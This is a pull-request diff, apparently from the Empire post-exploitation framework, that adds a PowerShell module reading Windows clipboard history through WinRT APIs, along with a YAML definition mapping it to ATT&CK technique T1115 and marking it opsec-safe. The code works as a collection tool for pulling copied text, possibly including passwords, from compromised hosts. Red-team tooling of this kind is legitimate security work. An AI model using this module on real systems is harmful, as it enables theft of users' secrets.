Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

- Added Debian 13 support
- Added error message if running `ps-empire server` under root without `-f`
- Added Get-ClipboardHistory PowerShell module to enumerate Windows clipboard history (Windows 10/11) via WinRT APIs
- Added local ticket support to Invoke-PSRemoting module

## [6.3.0] - 2025-12-11
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
function Get-ClipboardHistory {

$ErrorActionPreference = 'Stop'

function Fail($msg) { throw $msg }

Add-Type -AssemblyName System.Runtime.WindowsRuntime

$asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() |
Where-Object {
$_.Name -eq 'AsTask' -and
$_.GetParameters().Count -eq 1 -and
$_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1'
})[0]

function Await($WinRtTask, $ResultType) {
$asTask = $asTaskGeneric.MakeGenericMethod($ResultType)
$netTask = $asTask.Invoke($null, @($WinRtTask))
$null = $netTask.Wait(-1)
$netTask.Result
}

$null = [Windows.ApplicationModel.DataTransfer.Clipboard, Windows.ApplicationModel.DataTransfer, ContentType=WindowsRuntime]

$result = Await (
[Windows.ApplicationModel.DataTransfer.Clipboard]::GetHistoryItemsAsync()
) ([Windows.ApplicationModel.DataTransfer.ClipboardHistoryItemsResult])

if ($result.Status -ne [Windows.ApplicationModel.DataTransfer.ClipboardHistoryItemsResultStatus]::Success) {
Fail "ClipboardHistory is not accessible, it might not be enabled. Status: $($result.Status)"
}

try {

$textOps = $result.Items.Content.GetTextAsync()

$out = New-Object System.Collections.Generic.List[string]
for ($i = 0; $i -lt $textOps.Count; $i++) {
$txt = Await ($textOps[$i]) ([string])
if ($txt) { $out.Add("---`n$txt") }
}

Write-Output $out

} catch {
Fail "Clipboard is empty."
}
}
26 changes: 26 additions & 0 deletions empire/server/modules/powershell/collection/clipboard_history.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: Invoke-ClipboardHistory
authors:
- name: ''
handle: '@e1k'
link: ''
description: |
Retrieves Windows clipboard history via WinRT APIs and returns the text items
currently stored in history. Useful for quickly enumerating recently copied
data on hosts where clipboard history is enabled (Windows 10+) using
PowerShell 5+.
software: ''
tactics: [TA0009]
techniques: [T1115]
background: false
output_extension:
needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '5'
comments:
- Requires Windows 10/11 with Clipboard History enabled
- Leverages WinRT ClipboardHistory API; returns text entries only
- No network communication; local enumeration of clipboard history
- Script adapted from Raymond Chen (https://devblogs.microsoft.com/oldnewthing/20230303-00/?p=107894)
script_path: collection/Get-ClipboardHistory.ps1
script_end: Get-ClipboardHistory {{ PARAMS }}
Loading